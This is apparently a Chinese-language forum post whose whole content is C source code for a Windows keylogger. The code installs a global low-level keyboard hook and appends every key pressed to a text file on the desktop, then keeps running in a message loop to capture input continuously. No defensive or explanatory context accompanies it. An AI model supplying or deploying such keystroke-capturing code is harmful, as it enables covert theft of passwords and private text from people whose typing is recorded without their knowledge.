|
马上注册,结交更多好友,享用更多功能^_^
您需要 登录 才可以下载或查看,没有账号?立即注册
x
- #include <Windows.h>
- #include <WinUser.h>
- #include <stdio.h>
- __declspec(dllexport) DWORD SaveDataToFile(LPSTR szFilePath,LPVOID lpData,DWORD dwDataSize); HHOOK _hook;
- KBDLLHOOKSTRUCT kbdStruct;
- LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {char key_value[32] = { 0 };
- if (nCode >= 0)
- {
- // the action is valid: HC_ACTION.
- if (wParam == WM_KEYDOWN)
- {
- kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
- printf("KeyboardProc nCode = %c\n", kbdStruct.vkCode);
- sprintf(key_value, "%c", kbdStruct.vkCode);
- //保存文件show.txt到桌面
- SaveDataToFile("C:\\Users\\qq670\\Desktop\\1.txt", key_value, lstrlen(key_value));
- // a key (non-system) is pressed.
- if (kbdStruct.vkCode == VK_F1)
- {
- // F1 is pressed!
- printf("F1 is pressed\n");
- //return 1;
- }
- }
- }
- return CallNextHookEx(_hook, nCode, wParam, lParam);
- }void SetHook()
- {
- if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0)))
- {
- MessageBox(NULL, "Failed to install hook!", "Error", MB_ICONERROR);
- }
- }void ReleaseHook()
- {
- UnhookWindowsHookEx(_hook);
- }/* ************************************
- * SaveDataToFile
- * 功能 将数据存储到文件末尾
- * 参数 LPSTR szFilePath 文件路径
- * LPVOID lpData 需存储的数据
- * DWORD dwDataSize 数据大小(字节)
- **************************************/
- DWORD SaveDataToFile(
- LPSTR szFilePath,
- LPVOID lpData,
- DWORD dwDataSize)
- {
- //文件句柄
- HANDLE hFileWrite;
- //成功写入的数据大小
- DWORD dwWritedDateSize; //打开已经存在的文件,读取内容。
- hFileWrite = CreateFile(szFilePath, // 要打开的文件名
- GENERIC_WRITE, // 以写方式打开
- 0, // 可共享读
- NULL, // 默认安全设置
- OPEN_ALWAYS, // 打开已经存在的文件,没用则创建
- FILE_ATTRIBUTE_NORMAL, // 常规文件属性
- NULL); // 无模板
- //判断是否打开成功
- if (hFileWrite == INVALID_HANDLE_VALUE)
- {
- printf("打开文件失败:%d\n", GetLastError());
- } //设置文件指针到文件尾
- SetFilePointer(hFileWrite, 0, 0, FILE_END); //将数据写入文件
- if (!WriteFile(hFileWrite, lpData, dwDataSize, &dwWritedDateSize, NULL))
- {
- printf("写文件失败:%d\n", GetLastError());
- }
- else
- {
- printf("写文件成功,写入%d字节。\n", dwWritedDateSize);
- }
- CloseHandle(hFileWrite);
- return 0;
- }int main(void)
- {
- SetHook(); //这里只是为了不让程序退出,一直保持
- MSG msg;
- while (GetMessage(&msg, NULL, 0, 0))
- {
- }
- return 0;
- }
复制代码 |
-
|